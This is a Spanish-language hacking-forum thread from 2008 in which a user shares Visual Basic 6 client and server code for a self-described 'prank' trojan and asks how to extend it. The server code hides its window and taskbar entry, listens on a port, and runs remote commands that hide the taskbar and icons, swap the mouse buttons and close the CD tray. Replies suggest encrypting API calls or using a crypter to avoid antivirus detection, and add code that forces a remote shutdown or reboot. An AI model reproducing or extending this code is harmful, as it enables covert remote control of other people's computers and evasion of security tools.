Nuevas NORMAS para el foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - ſeptiembre 05, 2008, 05:46:10
Boton Buscar
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Visual Basic y Net (Moderador: ANYD00M)  |  Tema: Ayuda con mi troyano de vb6 (simple) 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Ayuda con mi troyano de vb6 (simple)  (Leído 159 veces)
__68_Zauron_Arg
Miembro
*****
Desconectado Desconectado

Mensajes: 128



Ver Perfil
« en: Marzo 12, 2008, 07:44:12 »
hola tengo un troyano qeu solo sirve para mandar bromas....y no puedo agregar para poder apagar y reiniciar la pc..... y tambien si me pueden decir como ponerle otras bromas.....aca les dejo el code.....Gracias:

winsock

Este es el Cliente......:

Código:
Private Sub cdc_Click()
clijent.SendData "cdc"
DoEvents
End Sub

Private Sub cdo_Click()
clijent.SendData "cdo"
DoEvents
End Sub

Private Sub ch_Click()
clijent.SendData "c"
DoEvents
End Sub

Private Sub Command1_Click()
clijent.Close
clijent.Connect Text1.Text, 2320
End Sub

Private Sub Form_Unload(Cancel As Integer)
clijent.Close
End
End Sub

Private Sub Hd_Click()
clijent.SendData "hd"
DoEvents
End Sub

Private Sub Ht_Click()
clijent.SendData "ht"
DoEvents
End Sub




Private Sub Image8_Click()
Unload Me
End Sub

Private Sub sc_Click()
clijent.SendData "co"
DoEvents
End Sub

Private Sub Sd_Click()
clijent.SendData "sd"
DoEvents
End Sub

Private Sub st_Click()
clijent.SendData "st"
DoEvents
End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then Command1 = True
End Sub

Private Sub Timer1_Timer()
Label1.Caption = clijent.State
End Sub



Este Es El Server....:

Código:
Option Explicit
Private Sub Form_load()
    Me.Hide
    server.Close
    server.Listen
    App.TaskVisible = False
    Me.Hide
End Sub


Private Sub Form_Unload(Cancel As Integer)
    server.Close
End Sub

Private Sub server_ConnectionRequest(ByVal requestID As Long)
    server.Close
    server.Accept requestID
End Sub

Private Sub server_DataArrival(ByVal bytesTotal As Long)
    Dim tmpData As String
    server.GetData tmpData
    Select Case tmpData
        Case "cdc"
            CloseCDROM
           
        Case "ht"
            TaskBarHide
        Case "st"
            TaskBarShow
        Case "hd"
            DesktopIconsHide
        Case "sd"
            DesktopIconsShow
        Case "c"
            FlipMouseButtons
        Case "co"
            FlipMouseButtonsBack
           
    End Select
End Sub


El De Open Cd Rom lo borre por que me analizaba el troayano como virus asi que borre la linea de Open Cd Rom


Salu2
En línea

Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Tughack
Habitual
*****
Desconectado Desconectado

Mensajes: 156


[sNipeR-]


Ver Perfil
« Respuesta #1 en: Marzo 12, 2008, 08:50:46 »

Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion

Kuanto a abrir el CD rom tendrias k encriptar las llamadas (en este caso es solo una api). En vb no es posible pork no hay punteros. La otra solucion seria usar un crypter, pero no te complikes, no lo uses ^^

Saludos
En línea
Tughack aka sNipeR-

if(you==lammer){
    destroy(you);
}
__68_Zauron_Arg
Miembro
*****
Desconectado Desconectado

Mensajes: 128



Ver Perfil
« Respuesta #2 en: Marzo 12, 2008, 09:51:47 »
hola gracias por responder...pero como hago para agregarlo por que lo mio es un servidor y un cliente y el que me baje de tu link es todo un prgorama....osea me interesaria saber como hago para agregarlo al cliente y al servidor.... te dejo una imagen del cliente asi me ayudas mejor...




Gracias
En línea

Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Tughack
Habitual
*****
Desconectado Desconectado

Mensajes: 156


[sNipeR-]


Ver Perfil
« Respuesta #3 en: Marzo 12, 2008, 10:28:55 »
Pues mira las apis utilizadas, funciones... Tienes la papa toda ahi xD
En línea
Tughack aka sNipeR-

if(you==lammer){
    destroy(you);
}
__68_Zauron_Arg
Miembro
*****
Desconectado Desconectado

Mensajes: 128



Ver Perfil
« Respuesta #4 en: Marzo 13, 2008, 12:00:42 »
ajajaj  Grin Grin Grin Grin Grin Gracias
En línea

Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
j4ps0n
Habitual
*****
Desconectado Desconectado

Mensajes: 225



Ver Perfil
« Respuesta #5 en: Marzo 14, 2008, 04:41:01 »
Puedes hacerlo un poco más "chapuzas", sin usar la API, desde la consola. Sería algo así:

En el server:
Código:
Case "shutdown"
Shell "shutdown -s -f -t 01"
Case "reiniciar"
Shell "shutdown -r -f -t 05 -c Reiniciando en 5s"

Cliente:
Código:
Dim datos  As String
datos = "shutdown"
WS.SendData datos

y con reiniciar ps lo mismo
En línea
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Programacion  |  Programación  |  Visual Basic y Net (Moderador: ANYD00M)  |  Tema: Ayuda con mi troyano de vb6 (simple) « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.5 | SMF © 2006-2007, Simple Machines LLC